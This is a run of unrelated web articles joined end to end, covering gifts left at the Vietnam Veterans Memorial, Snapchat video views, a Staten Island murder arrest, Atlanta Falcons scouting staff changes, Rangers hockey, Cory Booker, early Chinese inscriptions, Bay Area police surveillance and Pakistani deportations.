the same time, in staggered service. Mike still had months to go, but his
brother, Brad—three days from going home—promised to smoke a cigar for
Mike when he got back. Brad never made it.
The note says these are the casing and bullet that killed one Henry Lee Bradshaw on August 12, 1968.
Photograph from the book Offerings at the Wall courtesy of Turner Publishing.
Mike seems at peace, about 40 feet from the wall, where there’s
some shade, gesturing with his cigar. Nobody else seems to be here by
himself.
“They used to let me smoke over by the wall,” he says. “Some
people would bother me, but the ranger knew I was a vet and said, ‘Just
don’t leave the butt.’ ”
Mike says he’s a surgeon who has retired to Bluemont, Virginia.
He makes the trip for the cigar and the beer every year. He used to feel
sad, but not anymore. He remembers the last day he felt sad about the war.
It was the first year of the wall, camping out with other veterans the
night before the monument was to be dedicated. They all went to see it for
the first time, jumping the barriers. By flashlight it was immense,
incomprehensible—he couldn’t find his brother’s name. He didn’t care. The
wall was for both of them. When the sun rose and he found his brother’s
name, he didn’t feel sad anymore. He’s had a good life, and war is
war.
That’s Mike’s story.
“The wall does it. All the names are on there. It’s like the
person’s spirit is on there.”
This is Edward Tick, author of War and the Soul, a
therapist from Albany who’s been treating posttraumatic stress disorder
for decades.
Tick says the wall works on two levels: It’s a symbol, and it’s
a repository. These aren’t the same thing; they answer different
needs.
After the war, veterans and family members of the dead had no
time or place to grieve and felt socially rejected for remembering a war
everyone wanted to put behind them. The wall is a place of honor in the
nation’s capital, acknowledging the sacrifices they all made and that the
whole country mourns.
But people can also unburden themselves, Tick says—put down
some of the things they’ve been carrying, literally and figuratively, and
grieve at last. The names make the wall like a grave, as if the person is
present.
“Here in the sacred place, you can talk to the person and
complete a relationship that was cut short,” Tick says. “He is
here.”
As the hymn says, you can lay your burden down.
These were left with no explanation, but some military nurses have said they wore frilly undergarments to feel feminine under their fatigues.
Photograph from the book Offerings at the Wall courtesy of Turner Publishing.
It’s a random evening at the wall, and you have to stretch a
bit to remember this is a sacred place. A pack of teenagers doesn’t even
change the topic of conversation as they walk by the names. They’re
debating Batman versus the Avengers.
Two brothers under age ten circle around behind the wall, where
the top is at ground level. They take a picture of their sister taking a
picture of the wall.
Families march by, the kids with glazed expressions from seeing
all of DC’s majesty in an afternoon, the parents trying and failing to
think of someone the kids might have heard of who’s on the wall. A young
woman on a cell phone asks, “Yeah, but what was his middle name?” A couple
out for a romantic monuments tour doesn’t seem to know what to do. Perhaps
they came here by accident but feel they owe the wall a little time, a
little discomfort. After a minute, they look at each other and nod,
walking off again.
It has taken a lot of time, but these kids are now able to walk
past the wall untouched, blessed with the confounding privilege of
ignorance.
Jan Scruggs, having won the battle to memorialize the war so
many were eager to forget and seeing his dream become one of the most
visited landmarks in DC, faces a different battle now. Plans are under way
for an education center nearby to explain the war to those who were born
after it was over—now about half of the US population. The education
center, perpetually about two years from completion, will display a small
fraction of the estimated 400,000 objects that have been left. And,
Scruggs hopes, that will be it—the Park Service will stop collecting the
offerings at the wall.
While important artifacts are still being left—Scruggs calls up
on his iPhone a recent photo of a bloodied Viet Cong canteen with a bullet
hole through it, leaning against the wall—MRCE just doesn’t have the
resources to collect, catalog, and store every object in perpetuity, as is
the mandate of this collection.
MRCE has an enormous backlog—estimated at about 200,000
objects, roughly half the collection—and not enough staff to catch up.
There are seven employees at the facility, but they don’t work on just
this one collection. And the stream of offerings isn’t letting up, even
now.
They’ve learned a lot over the years by trial and error—that
cans of tomato products burst, that printer ink smudges and runs onto
other objects, that clothing deteriorates without cold storage. A canteen
with 40-year-old bloodstains teaches them more.
Nobody’s sure when or if the Park Service will stop collecting
it all. Felton loves this aspect of the collection, that it’s uncensored
and unjuried, that no judgment is made on what’s valuable and what’s not.
Everything is valuable because someone wanted it included.
The contents of the collection are not on public display. But
in a book or museum exhibit or article, someone can see the diaper pins or
Alcoholics Anonymous chips, and the story gets told.
Felton has trouble explaining to younger workers how it used to
be, why Vietnam vets are sometimes amazed that strangers now thank them
for their service. It’s just hard to explain.
Without question, Felton’s sensitivity has made it easier for
some to give
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engagements of the Revolution, had happened more than a year previously, on the 19th of April in 1775. So unlike many of his revolutionary contemporaries, Adams truly understood what would happen when rhetoric finally became action. And yet, despite knowing it was a “hard lot” that the people would have to bear in order to secure their freedom, Adams never hesitated, and neither did the American people as a whole. During eight years of war, more than 25,000 Revolutionary Americans on active military duty would lose their lives in service to the cause of independence, and a new kind of nation. Did that dampen the grief of their loved ones or the heavy weight of responsibility felt by the men who set them on this path? Certainly not. But the importance and the meaning of their sacrifice endures, as we endure to this day. We are the beneficiaries and the keepers of the freedom they left to us.
Freedom will never provide a foolproof safeguard against tragedy and calamity. In fact, such revolutionary freedom will sometimes invite them in, whether we wish it or not. But as a people, we can be confident that the sacrifices we make to preserve that freedom and our nation’s true character will never truly be in vain. Because calamity cannot snuff out the fires of liberty and tragedy cannot destroy the spirit of freedom and independence upon which our nation is built. As Americans, it’s been our hard lot in recent times to face destruction and discord. Yet it’s as Americans that we take these times head on, just as our fore-fathers did – we help one another, we seek justice, and we rise above. We are a revolutionary people, and our freedom will endure.
Res Publica
Documentation without Representation:
John Adams, letter to Samuel Chase, 01 July 1776 (minor modern grammatical corrections and emphasis added by me)
http://www.masshist.org/publications/apde/portia.php?id=PJA04d202
Electronic Text Courtesy of the Massachusetts Historical SocietySnapchat has continuously added new features over the past year, and it looks like it is paying off. Snaps and videos in the app are now being viewed over 6 billion times a day. That's a massive three times increase from just this past May, when the company told Bloomberg that it was serving 2 billion views daily. The company confirmed the 6 billion views figure to the Financial Times in a report published this weekend.
To put that number in perspective, Facebook announced just this past week that the social network is handling over 8 billion video views each day. Facebook has recently placed extra focus on its video offerings, and that figure represents a two times increase from April.
But how do you count a "view"?
Comparing internal statistics is tricky, particularly for web videos. How long does someone have to watch a video for it to count as a "view"? For Facebook, that number is three seconds, while for Snapchat, it's reported that just a few milliseconds will suffice. There's also the differing nature of the content on each of these sites. Snapchat's videos are just seconds long, while many Facebook videos are closer to a minute or more in length. YouTube, meanwhile, features lots of content that's hours long. Google now measures usage on its video site by hours and not views, but it counted four billion views daily back in the spring.
For Snapchat, the figures undoubtedly offer validation of the numerous changes it has made to its product. After initially launching as a largely private service for sending short video messages to specific friends, the company refocused around its Stories feature. Stories are viewable by all of your friends, or, if you choose, a larger swath of the public. The feature, which eventually expanded to coverage of live events, quickly became Snapchat's most popular service. Since then, the company has also added other features, like replays, rewinds, stickers, and more, all while aggressively expanding the footprint of advertisers in the app. And for now, it appears to be going quite well.STATEN ISLAND, N.Y. -- Three young men Mariners Harbor men were arrested Friday on murder charges in Tuesday's slaying of a Chinese food deliveryman in their community, said police.
Cops identified the suspects as James Sanders, 16, of South Avenue; Otoniel Carty, 17, of Bush Avenue, and Devin Hill, 19, of the 100 block of Andros Avenue.
Sanders is believed to have gunned down Richard Salvia, 50, outside 244 Grandview Avenue, said a source with knowledge of the investigation.
Carty served as lookout and Hill was an accomplice, said the source.
All three live within blocks of where the killing occurred.
Police recovered what they believe to be the murder weapon, a.38-caliber derringer, said the source. The weapon was found at the house of a female friend of Carty's, where he tried to ditch it, another source said.
Under questioning, one of the suspects said they had planned the robbery for a week, the source said.
One of them also had the cell phone used to call Crown Palace restaurant in Port Richmond for the delivery, said the source.
Police sources told the Advance the presumed robbery was caught on video cameras in the area.
The suspects are expected to be arraigned Saturday in Stapleton Criminal Court.
All three are charged with second-degree murder, three counts of attempted first-degree robbery and two counts of attempted second-degree robbery, said police.
Sanders and Carty are also charged with criminal weapon possession, said cops.
Online state court records show Sanders was arrested on Dec. 5 and charged with disorderly conduct in a unrelated case. Incident details were not immediately available; however, the case is pending and Sanders is slated to appear in Stapleton Criminal Court on April 17.
According to Advance reports, an Ontoniel Carty was arrested on Oct. 10 and accused of punching a male teacher in the face and spitting on him inside South Richmond High School.
South Richmond caters to students with developmental and behavioral problems.
He was charged with felony and misdemeanor assault, as well as harassment, according to information then from District Attorney Daniel Donovan's office.
That case's disposition was not immediately available Friday.
Authorities said Salvia was ambushed as he delivered a food order to a fenced-off house sandwiched between two abandoned houses on a dead end street, at 8:45 p.m.
He was shot in the back of the head, said police. The suspects fled.
What's curious is that Salvia still had $136 in cash on his person. He didn't have a wallet when he was found, sources said -- and it's not clear if he wasn't carrying one or if it had been stolen.
The shooting has rattled delivery workers in the borough.
-- Staff writer John Annese contributed to this report.“Trump is a politician who has the backing of forces just as influential as those behind Clinton. The only difference is that they like to keep a low profile, because their vision of the future world order means a revolution in U.S. foreign policy. And after that revolution happens, there will be no room for people like Clinton, who has blood on their hands.” Former Russian Spy Anna Chapman
“Anna Chapman, the Russian spy who was deported from the United States in 2010 after pleading guilty to conspiracy charges, has apparently combined her twin interests in international affairs and modeling into the most topical Instagram account of the year.” TWITTER: @Intel_Today
On March 2012 Mercedes-Benz Fashion week in Moscow featured Anna Chapman in her new role as model. In 2014, Chapman launched a line of austere dresses. On 22 March 2016, she announced the creation of her Instagram account on Twitter. She no longer tweets, but she’s back on Instagram with gorgeous pictures of herself and commentaries on current issues of geopolitics. And why not?
“If a Putin-loving reality-TV host can make it to the White House, certainly a Russian former spy and catwalk model with an interest in foreign affairs can become an Instagram star.” [VANITY FAIR]
One thing is certain. This beautiful young lady does not mince words. The captions below two images of Chapman and a white horse read:
Our Ambassador to Turkey Andrei Karlov has been killed. This is a true reason to go to war. But this is exactly what the people behind the assassination want. The militants’ surrender in Aleppo couldn’t have happened without Ankara cutting off its support. As payback it has suffered a series of bloody attacks that have resulted in dozens of Turkish military and civilian deaths. Now our country too has been attacked. What kind of response does this deserve? A military one! Not against Turkey itself though, but against all the terrorists that thanks to their western advocates have been allowed to freely evacuate to Idlib. These terrorists must be physically destroyed. So that each one of them knows that if he dares to raise his fist against Russia, no western country will be able to protect him! Most of the western diplomats are currently expressing their condolences to Russia over the death of our ambassador in Turkey. In which case, I would really like to ask them: weren’t you the ones accusing our country of made-up war crimes in Syria?
PS: Does anyone have news regarding Colonel Alexander Poteyev?
REFERENCES
Ousted Russian Spy Anna Chapman Is Now a Trump-Loving Instagram Star — VANITY FAIRNow that the regular season has come to an end, fans are starting to think hard about the upcoming free agency period and the 2017 draft. But for our scouts, it’s nothing new - they’ve been hard at it since last spring.
One year ago, Arthur Blank expressed optimism about the Quinn-Dimitroff partnership but noted that the scouting department needed an overhaul. The changes did seem to be in order. On the pro side, the overwhelming majority of Atlanta’s free agent signings in 2014 and again in 2015 had been players with ties to the coaching staff or front office. Frankly, it didn’t seem like there was much point in even having a pro scouting department, at least as far as free agency was concerned. Why bother researching free agents when you’re only going to sign players that the coaches already know?
On the college side, the team had fared far better in recent years. The Falcons have quite a lot to show for the last four drafts and UDFA classes. But overall, the college scouting group was arguably a bit short-handed, particularly when it came to senior scouts.
To that end, we’ve seen quite a few changes in the college scouting unit and a complete turnover of the pro scouting group.
Here’s a rundown of the changes and a listing of the current scouting department:
Departed: Lionel Vital. For the prior three years, he was one of the top four figures in Atlanta’s front office as our Director of Player Personnel. However, having Scott Pioli become Assistant GM made the Director of Player Personnel role a bit redundant, particularly after the 2015 reorganization had put Pioli in direct control of the scouting departments. Vital was reportedly asked to take on a different role but instead decided to part ways with the organization. The Falcoholic reported his departure here.
The good news is that he wasn’t sidelined for too long. Dallas announced in March that he’d be joining the Cowboys front office, and they officially named him as their new Director of College Scouting in June.
Hired: Joel Collier. Instead of another Player Personnel executive, we hired Collier to the position of Director of Pro Personnel. The difference in title indicates that he is dedicated to pro scouting full time rather than splitting time between the pro and college side as Vital had done. Collier had been out of the NFL, but he was known to the team having previously served as Assistant GM under Pioli in Kansas City. The initial Falcoholic reaction was a lot of raised eyebrows (seen here), but free agency was a success this year.
Departed: Billy Devaney. Our former Assistant GM had returned to our scouting department in 2014. He carried the title “Player Personnel Scout”, but his bio noted that he was involved with pro personnel. The Falcoholic covered his departure here, complete with a frightening picture of Freddie Falcon. As you’ll certainly see from the comments in that article, I wasn’t exactly a Devaney fan - among other things, he led the coaching search that brought Bobby Petrino to Atlanta. But I do wish him well in Nebraska. Side note...if anyone is wondering, he’s not related to legendary Nebraska coach Bob Devaney.
Departed: Dejuan Polk. Polk had spent his entire NFL career with the Falcons and had worked his way up the pro scouting department to the title of Pro Personnel Coordinator. As we reported here, he went to Jacksonville to join former Falcons college scouting director David Caldwell’s staff as Assistant Director of Pro Personnel.
Hired: Kevin Simon. The former University of Tennessee linebacker had been in the Cowboys scouting department when word broke out in May that he’d join the Falcons. It didn’t happen right away - in fact, he came aboard too late to be included in the team’s annual Media Guide. He also doesn’t carry the title of Assistant Director as originally reported. The team simply lists him as their Pro Scout. But he’s currently the only other member of the pro scouting group, so he actually is next in line to Collier regardless of the title.
Changed Roles: Bob Kronenberg. This appears to be another late change in conjunction with the hiring of Simon. Kronenberg (a former coach of the Georgia Force in the Arena League) had originally been a college Area Scout for the Falcons. He moved over to the pro scout role to replace Ran Carthon when Carthon left to join Les Snead with the Rams. Kronenberg’s bio on the team’s web site and the official media guide still list him as a pro scout, but the staff directory now says that he has returned to his previous role of Area Scout.
Retained: Steve Sabo. He had served as Director of Pro Personnel in Cleveland and had spend 12 years with the Browns joining the college scouting department here in Atlanta. When the Jaguars hired David Caldwell, Sabo replaced him as our Director of College Scouting. He may not have as much college scouting experience as several of the scouts in his department, but he does have experience as a coordinator and director.
Changed Titles: Russ Bolinger. Bolinger came aboard with Devaney in 2014 and also had the official title of Player Personnel Scout. However, Bolinger’s previous experience was mainly on the college side of the house. This year, the Falcons changed his title accordingly, listing him as a National Scout. He has over two decades of scouting experience. If the name sounds familiar to the old timers here, it’s because he was an offensive lineman for the Lions in the late 1970s and early 1980s.
Hired: Phil Emery and Ruston Webster. These were the additions that got the most media attention. Many fans were confused about their roles when they were first hired as they were previously GMs for other organizations.
Keep in mind that this is hardly the first time we’ve had former GMs acting as scouts. In addition to Billy Devaney, we also had former Colts GM Chris Polian on board for a while. He left along with Caldwell to join the front office in Jacksonville, becoming the Director of College Scouting for the Jaguars. So while they were once GMs elsewhere, here in Atlanta Webster and Emery are only scouts, three levels removed from any real decision making. They report to Steve Sabo. Sabo reports to Pioli. Pioli reports to Dimitroff.
Arthur Blank had wanted to add experience to our college scouting unit, and Emery and Webster both have plenty. Webster had been a key part of Rich McKay’s scouting department in Tampa, helping to build the rosters that brought a Lombardi to Florida and made it to the NFC Championship Game in two other seasons. Emery had been Director of College Scouting right here in Atlanta for our 2005 through 2008 draft seasons. They are currently our National Scouts along with Bolinger.
Departed: Mark Olson. This was a sad one for me to report here, as Olson had been with the Falcons organization all the way back to 1998 (!) and was the most experienced member of our college scouting department. I don’t know the story behind the separation, and I wish he could still be here instead of elsewhere. But I do recognize that a change of scenery is good (and probably necessary) for his career path. So now he has moved on and is a part of Bob Quinn’s scouting department for the Lions. I wish him all the best in Detroit and beyond, and I will always be grateful for all the work he put in for the Falcons organization for so many years.
Retained: Shepley Heard. Our other senior scout is still with us. Regional Scouts typically focus on higher priority prospects than the area scouts, and as the title suggests, they cover a wider area - typically a third or half of the country. Heard had covered the eastern U.S. for the previous three seasons. For 2016, he flipped to the west as our Western Regional Scout.
Possibly Promoted: Anthony Robinson, Michael Ross. The bios on the official Falcons website do not seem to be current, and there are contradictions between the staff directory listing on the website and the team’s official Media Guide. So it’s quite possible that Anthony Robinson has been promoted from Area Scout to Regional Scout covering the eastern U.S. Ross might also be a regional scout, covering the southwest. I suspect that both have indeed been promoted, but I don’t have confirmation. So... congratulations?
Departed: Scott Sika, Nate Tice. The team didn’t issue a press release and there was no other media coverage whatsoever, so we had a Falcoholic exclusive with this story. But it wasn’t a happy one - we had lost two of our up-and-coming scouting prospects.
Tice had been a scouting assistant. Sika was the most junior of our Area Scouts, having only been promoted to that rank last season. (You might remember him from “Hard Knocks”, when he was still a scouting assistant.)
Fortunately, both of them soon landed elsewhere. Sika followed Mark Olson in joining the Lions scouting department. Tice went on to Oakland, joining his father (former Falcons line coach Mike Tice) as an assistant on the Raiders coaching staff.
Retained: Sae Woon Jo, Tokunbo Abanikanda. Area scouts never get any recognition, but these guys are the true road warriors behind every team’s draft efforts, typically spending 200-250 days a year away from home and putting in more time writing reports than most people could ever imagine possible. These are the guys who have spent the entire season going from school to school watching practices, covering large and microscopic schools alike.
Promoted: James Bodenheimer. He had been one of our Scouting Assistants, and in May he graduated to the role of a full-fledged Area Scout. Congratulations!
Now he’s living the dream, assuming his dream is to live on the road, drive several hours every day to get from campus to campus, watch practices, eat on the run, drive to a hotel near the next day’s first campus and then spend the night writing reports.
But really... congratulations!
Hired: Rodrik David, Rich Sanders, Katie Sowers, Bailey Swyden. Fresh meat! David and Sanders joined the organization as Scouting Assistants this year. Sowers came aboard this summer as a Scouting Intern, and Swyden is serving as our Scouting Coordinator. Welcome to the grinder, kids!
So there you have it. We’ve seen a complete rebuild on the pro side, and I’d say we still have room to add another scout or two on that side of the house. On the college side, we lost our most experienced person but have a tremendous amount of experience among our senior scouts plus an excellent team of scouts coming up through the ranks.This image has been archived or removed.
Here it is. The official 44-page marketing brochure for Extell’s gargantuan One Manhattan Square on the Lower East Side is now in the wild. Released by JLL Residential, in fact, to entice foreign buyers.
The controversial 80-story eyesore rising from the banks of the East River is essentially an upscale country club catering to the one-percent. It’s a spit of (vertical) suburban life wrapped around itself in what they’re calling a “vertical village on the Lower East Side.” That means isolating itself from its surroundings – namely a waterfront community dominated by low-income housing. Overall contribution to the neighborhood at large will probably be negligible, at best.
Case-in-point, “your private village green” designed by landscape architects West 8, which offers a treehouse, outdoor kitchen, fire pits, social courtyards, and “quiet moments of romance and repose” for residents. All in the shadow (and glare) of a glass beast.
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Note the treehouse
And then there are the interior amenities. The cellar alone boasts, among other things, basketball courts, bowling alley, golf simulator room, squash court, sauna, sunken tranquility garden (Lowline?), 75-foot swimming pool, billiards room, cigar room, and private theater. Also, it appears the Turkish baths (aka Hamam) have returned to the blueprints. Yet no champagne room…
And what about the supermarket promised? You’re telling us that the millionaire homeowners would be content shopping in a budget supermarket on par with Pathmark? Not likely.
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Note the Gucci bags
As previously reported, One Manhattan Square will offer 800 high-end condos of the 1-3 bedroom variety. Extell is banking on the “cheap” pricing – between $1 million and $3 million – to allure buyers. The stock of luxury apartments is designed by the Meyer Davis Studio.
This image has been archived or removed.
You can review the full marketing literature below:
Extell Brochure for "One Manhattan Square"NEWARK, N.J. -- Less than two weeks ago the New York Rangers appeared to be showing their warts as a team that could play well, could hang in tight games, but couldn't close. That seems like a distant memory now.
Nothing is set, not even close, especially with a pair of home games this week against the Phoenix Coyotes and Philadelphia Flyers followed by a four-game western road trip. But after going 2-4-1 to start the month, the Rangers have won four of their past five games. All four victories have come on the road, where they have a League-best 23 wins.
They beat the New Jersey Devils 2-0 on Saturday at Prudential Center to solidify their spot as the third-place team in the Metropolitan Division. The Rangers have 82 points, one fewer than the red-hot Flyers and three more than the fourth-place Washington Capitals. They are four up on the Columbus Blue Jackets, a team the Rangers beat Friday night.
"You have to get traction now," defenseman Marc Staal said. "Look at the standings, everyone wins or gets points every night. It was time to get down to business and start stringing some wins together."
While still leery of the teams chasing them, the Rangers are less concerned now because of how they've been playing. They beat the Devils and Blue Jackets on back-to-back nights because they didn't abandon the type of game they know they have to play in order to clinch a playoff berth.
Henrik Lundqvist was exceptional with 25 saves in a 3-1 win Friday in Columbus. He came back 24 hours later to make 21 saves for his franchise-best 50th career shutout, one more than Ed Giacomin.
New York again received big-time efforts from one of the NHL's best, and arguably most underrated, defense corps. In fact, the Rangers' defensive performance Saturday might have been their best of the season.
They kept the Devils on the outside for most of the night and limited second-chance opportunities. The 21 shots on goal were the fewest the Rangers have allowed since Dec. 20, when the New York Islanders had 20 but scored on five of them for a win at Madison Square Garden.
Lundqvist is a much different goalie now than he was then. Heck, he's a much different goalie now than he was a few weeks ago. The Rangers as a whole are playing a much stingier game than they were earlier this month. The lone hiccup came against the Ottawa Senators this past Tuesday, but the Rangers dominated offensively in that game for an 8-4 win. Otherwise they have been lights out on the defensive end.
"We haven't gotten sidetracked from playing to our strengths," defenseman Ryan McDonagh said. "Obviously in Columbus it was a pretty physical game, and one where we could have taken penalties and gotten out of our game, out of hand. Here [Saturday] they were physical and there were a lot of times they were clogging it up and we weren't able to generate a lot of offense, but we just stayed with it, continued to chip pucks, use our speed and find a way to get one goal there."
The game-winner came in the second period from Rick Nash, who has scored three goals in the past three games after getting one in his previous nine games. Nash didn't score in his return to Columbus on Friday, but he was arguably the best forward on the ice -- he was assertive, aggressive and chippy. Nash had seven shots on goal, and his second fight of the season, against his old team.
He was one of many Rangers who played a smart, simple and physical game Saturday. When the Rangers have those three traits on their side, they can play like one of the top teams in the League.
That's how they looked Friday and Saturday.
"I think our physicality and our attention to detail in our [defensive] end has been a lot better the last couple of games," Staal said. "In Ottawa it was pretty sloppy. I mean, we won 8-4 but we weren't happy with the way we played that game. To turn it around like that, especially after a win, it's hard to do. You get comfortable, but we turned it around and played a solid game in Columbus, and then held them to 21 shots [Saturday night]. I think that part of our game has been good and has to be down the stretch. You can't win if you don't play good defense."
The Rangers would make things a lot easier if they could get their sputtering power play back in order.
They're still in the top half of the League in terms of power-play percentage (18.9), but they are 3-for-31 with the man-advantage in their past 10 games. Even the three is deceiving because one of those three goals is center Derek Stepan's empty-netter Saturday night.
"You look at the good power plays around the League and guys are taking their time, they're making plays, everything is tape-to-tape, they're moving, shooting the puck," center Derick Brassard said. "For us, I think every time we start a power play we try to put everything through instead of getting set up and taking our time. It's not going to happen in the first 10 seconds; it might happen at the end of the power play. I think if we're more patient and just make tape-to-tape passes it's going to be better."
Maybe the power play is the next part of New York's game that will come around. It certainly would make locking up a playoff berth easier. However, as long as the Rangers continue to get quality goaltending from Lundqvist and play their smart, simple, physical brand of hockey in front of him, they really shouldn't have much to worry about.
Nothing is set yet, not even close, but all of a sudden the Rangers look like closers.
"It just seems like we've become more mature as a team, a little bit more experienced with each other, understanding by examples in the past of what it takes for our team to win games, and it's not trying to be pretty all the time," McDonagh said.
"I just like the way we've gone about games and stayed really focused. It seems we've been taking it shift-by-shift as a group and that's a good sign here at this point in the season."
---ADVERTISEMENT
In addition to being a rising star in the Democratic Party, Cory Booker, the mayor of Newark, N.J., has built up a reputation for going above and beyond the call of duty. Here, six reasons to think he's America's hardest-working civil servant:
1. He will help you propose to your girlfriend
This week, Booker helped a former constituent play cupid. Israel Burns contacted the mayor via Twitter and asked him if he would help him pop the question to his girlfriend. Within minutes, Booker tweeted back, "I am a romantic. Please DM me. Sounds fun." Booker eventually called up Burns' girlfriend to tell her to go to a special location, where Burns was ready on one knee. "Taking a few minutes out of my hectic day to be a small part of that was a gift to me," Booker said.
2. He will live off food stamps for a week
After feuding on Twitter with a North Carolina mom over welfare programs, Booker decided to make a point by taking the "food-stamp challenge." The challenge, which required him to live off of $4 a day (the average amount that a food-stamp recipient receives in benefits), purported to show that those who depend on food stamps aren't exactly living a life of luxury. "This is hard. But what has me profoundly humbled is that this is a week — just a week — and then I'm done," Booker told the New Jersey Star-Ledger. "But millions of Americans are living with food insecurity, with worry and concern about affording food — healthy, decent food for their families and children."
3. He will punch through flames to save your life
Booker came home from a television interview one night to find that the house next door was on fire. He and his bodyguards told all the residents to flee, while Booker and police officer Alex Rodriguez made their way to the second floor to extricate a trapped woman. Rodriguez tried to hold Booker back, but the mayor reportedly responded, "If I don't go in, this lady's going to die." Booker disappeared into a wall of flame, and emerged an "eternity" later, according to Rodriguez, with the woman in tow. "I couldn't see anything but the flames," Booker later told CBS. For a moment, he thought they were trapped in the woman's apartment, but he "punched" his way through the fire until he found Rodriguez on the other side, and suffered smoke inhalation and second-degree burns for his heroism.
4. He will shovel your driveway in a blizzard
While residents of New York City were slamming Mayor Michael Bloomberg for his office's inept response to a 2010 blizzard, Booker was out on the streets shoveling snow, directing plow trucks, and communicating with his constituents via Twitter. One resident tweeted, "My street is covered nobody can get out 2 leave 4 work its been 2 days we need help," which prompted Booker to respond, "On it asap." And he meant that, literally.
5. He will patrol your streets looking for criminals
Newark is one of America's most crime-riddled cities, and Booker made reducing crime a priority when he became mayor in 2006. In addition to overhauling the city's law enforcement, installing surveillance cameras, and cracking down on drug-dealing, Booker for a while personally patrolled the "streets with his security team until 4 in the morning," says Sean Gregory at TIME. The drop in crime from all those efforts has been described as "stunning."
6. He will starve himself to clean up your neighborhood
In 1999, when Booker was still a city council member, he went on a 10-day hunger strike "in front of one of Newark's worst housing projects… to protest the city government's apparent indifference to open-air drug markets," says Lanny Davis at The Washington Times. In 2000, in a similar protest, he lived in a motor home on one of Newark's worst drug corners.
Editor's note: This article — originally published on April 13, 2012 — was last updated on February 28, 2013.
Sources: Aol, CBS, The New York Times, TIME, The Washington TimesFrom Nicola Berger, beat writer for Swiss team EV Zug (as originally dug by Malik)
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To follow that, SwissHabs reports that two of the three teams who have offered Diaz a try-out are Dallas and Detroit.
Diaz's NHL career spans the last three seasons. He's played 145 games, missing time in 2012-13 with a concussion, and has 45 career points (6G 39A). His first 2.5 seasons were with Montreal before he was traded twice last year, first to Vancouver and then to New York. He only played in four games of the Rangers' run to the Cup Final, putting up 0 points in that span.
Usage-wise, the 5'11 197-pound 28 year old's career tells of a player who has been unable to hold his own in tough competition/zone usage, but does decently in sheltered minutes. He's generally considered a good-skating puck mover type who gets knocked around in his own zone too easily.
Heck, if he were flawless, he wouldn't be looking for camp tryouts in September, right?
Here's Malik's take on the idea:
In my opinion, he's a "proven commodity," but the fact that he's got NHL experience doesn't necessarily make him a better long-term option than "the kids." It would be a very characteristic move of the Wings to bring another veteran in for the hell of it, though...
That's incredibly hard to argue with. Diaz has the benefit of having shown that he can put up points at a decent pace in the NHL (although 16 of his 45 career points are on the power play). However, he'll be 29 in January. He's pretty well past the time when you expect a defenseman to show any more real improvement in his game. Despite all this, the Wings are about "proven commodities."
Story continues
My take is that Diaz is essentially a right-shooting Jakub Kindl. He's a bit smaller than Kindl, but neither of them are known for being physical, instead relying on skating and what is supposed to be better-than-average puck movement to help out his team while somebody else has to take the tougher net-front duties. If this is the case, then it's perhaps not altogether bad, except I don't think the Wings have a need to have both the right-shooting AND the left-shooting Jakub Kindl on their roster. That's not a good third pair, it's not a good mixed third pair, and since I don't trust Jakub Kindl anywhere near the Red Wings' top four, it's two players taking up what I feel should definitely be no more than one space on the roster (and perhaps more-preferably, should be taking up zero spaces on the Wings' roster).
There's nothing wrong with inviting Raphael Diaz to camp and it's entirely possible, if he even decides to come to Detroit's camp (which isn't something I really know that I'd even call likely), that he could steal a job from a veteran while displacing a youngster. That's just something I'd have to see to believe. I don't see myself being happy with the team going into the season with both Diaz and Kindl on the roster though.
More from sbnation.com:Markings on artefacts from Zhuangqiao relics site date to 5,000 years ago and include string of words, says archaeologist
Primitive inscriptions dating back about 5,000 years – and believed to be 1,400 years older than the most ancient written Chinese language – have been discovered in Shanghai, archaeologists report.
Chinese scholars are divided over whether the markings, found on artefacts at the Zhuangqiao relics site south of the modern city, are words or something simpler. But they believe the discovery will shed light on the origins of Chinese language and culture.
The oldest writing in the world is believed to be from Mesopotamia (now Iraq), dating back slightly more than 5,000 years. Chinese characters are believed to have been developed independently.
The Chinese inscriptions were found on more than 200 pieces dug out from the neolithic Liangzhu relics site. The pieces are among thousands of fragments of ceramic, stone, jade, wood, ivory and bone excavated from the site between 2003 and 2006, Xu Xinmin, the lead archaeologist, said.
Chinese scholars, of archaeology and ancient writing, who met last weekend in Zhejiang province to discuss the finding, thought the inscriptions did not indicate a developed writing system. However Xu said there was evidence of words on two pieces of stone axes.
One of the pieces has six word-like shapes strung together and resembles a short sentence.
"They are different from the symbols we have seen in the past on artefacts," Xu said. "The shapes, and the fact that they are in a sentence-like pattern, indicate they are expressions of some meaning."
The six characters are arranged in a line, and three resemble the modern Chinese character for human beings. Each shape has two to five strokes.
"If five to six of them are strung together like a sentence, they are no longer symbols but words," said Cao Jinyan, a scholar of ancient writing at Zhejiang University. He said the markings should be regarded as hieroglyphics.
He said there were also stand-alone shapes with more strokes. "If you look at the composition, you will see they are more than symbols."
But Liu Zhao, an archaeologist at Fudan University, Shanghai, suggested there was not sufficient material for a conclusion. "I don't think they should be considered writing by the strictest definition. We do not have enough material to pin down the stage of those markings in the history of ancient writings."
For now the Chinese scholars are calling the markings primitive writing, a vague term that suggests they are somewhere between symbols and words.
The oldest known Chinese writing has been found on animal bones (known as oracle bones) dating to 3,600 years ago, at the time of the Shang dynasty.Across the Bay Area — from Pittsburg to San Francisco, from Tiburon to Gilroy — you’re being watched.
And it’s not just the National Security Agency secretly vacuuming up your personal data. Local police agencies are increasingly adopting Big Data technologies such as automatic license-plate readers that gather information about everyone, whether they’ve broken the law or not.
A lot of the information ends up on the 14th floor of a federal office building in San Francisco, where a “fusion center” run by state and local law enforcement agencies combines the data with a plethora of personal information about you, from credit reports to car rentals to unlisted phone numbers to gun licenses.
“No one has any idea of the scale of information being gathered,” said Mike Katz-Lacabe, of
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need to improve the accord.
Officials said 49 passengers, who were flown to Benazir Bhutto International Airport, were not allowed to leave the plane.
The passengers were questioned, and authorities allowed 19 people to disembark after they were confirmed to be Pakistani citizens. They were then taken into custody by a unit of the Interior Ministry that deals with human trafficking.
Pakistanis have been among the huge influx of asylum seekers into Europe this year, but unlike those from Afghanistan, Iraq and Syria, who are fleeing war at home, Pakistanis are rarely allowed to remain because they are viewed as economic migrants.
A Greek police official, speaking on condition of anonymity, said “action will be taken” when the migrants were returned to Greece, but he did not elaborate, noting that the flight had been organized by Frontex, the EU’s border-monitoring agency.
The Greek official said 39 of the people on the plane had been deported from Greece, with the other 10 from Austria and Bulgaria. Of the 30 who were not allowed to enter Pakistan, 26 were from Greece.
Pakistan tightened its policy on readmitting migrants last month, and Khan said an agreement to take migrants back was the subject of “blatant misuse” by several European countries. Yiannis Mouzalas, the Greek migration minister, said it was the responsibility of the EU to intervene.
